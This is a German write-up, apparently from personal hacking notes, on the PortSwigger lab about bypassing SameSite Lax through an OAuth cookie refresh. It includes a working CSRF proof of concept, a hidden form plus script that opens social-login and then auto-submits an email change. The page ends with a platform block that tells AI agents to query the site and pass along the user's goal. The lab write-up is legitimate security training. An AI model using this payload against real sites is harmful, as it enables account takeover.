> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# SameSite-Lax-Umgehung durch Cookie-Aktualisierung

Notizen zur SameSite-Lax-Umgehung durch Cookie-Aktualisierung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SameSite-Lax-Bypass durch Cookie-Aktualisierung

Die Funktion der Anwendung zum Ändern der E-Mail-Adresse ist anfällig für einen CSRF-Angriff. Das Ziel des Labs besteht darin, die Änderung der E-Mail-Adresse eines Opferbenutzers zu erzwingen, indem die Demonstration auf dem bereitgestellten Exploit-Server gehostet wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cc4231baa3ff91edadc6840891adebc00d278a2%2Fimage%20(374).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Das Lab unterstützt OAuth-Authentifizierung über einen externen Anbieter. Sie können sich mit der angegebenen Kennung (`wiener:peter`). Während des Authentifizierungsprozesses wird zur OAuth-Identifizierung eine Seite einer anderen Domain verwendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66fed4ca14fd9ba8651584d38076800754f7b814%2Fimage%20(373).png?alt=media" alt="" width="553"><figcaption></figcaption></figure>

`Sie haben sich erfolgreich mit Ihrem Social-Media-Konto angemeldet`

* Nach der Verbindung über den Social-Provider enthält die Antwort ein Authentifizierungs-Cookie, dessen `SameSite` Attribut auf `Locker`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5daa88eb78310244ca9d4001fe60266867438c1c%2Fimage%20(375).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn Sie sich abmelden und dann den Authentifizierungsablauf neu starten, ohne das Passwort erneut einzugeben, wird die Sitzung zurückgesetzt: ein **neues** Session-Cookie wird ausgestellt.

* → In der Praxis bedeutet das: Wenn ein Benutzer auf "logout" geklickt hat, muss er erneut auf "login" klicken, um zur Website weitergeleitet zu werden und das neue Session-Cookie abzurufen.
* Dank dieses Cookie-"Refresh"-Verhaltens während der Authentifizierung über die Drittanbieterdomain ist es möglich, eine Abfolge zu betrachten, bei der eine erste Anfrage an die Authentifizierungsseite das Wiederherstellen/Einrichten des Session-Cookies ermöglicht und dann eine zweite Aktion (clientseitig) die Anfrage auslöst, die die E-Mail im Benutzerkonto ändert.

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
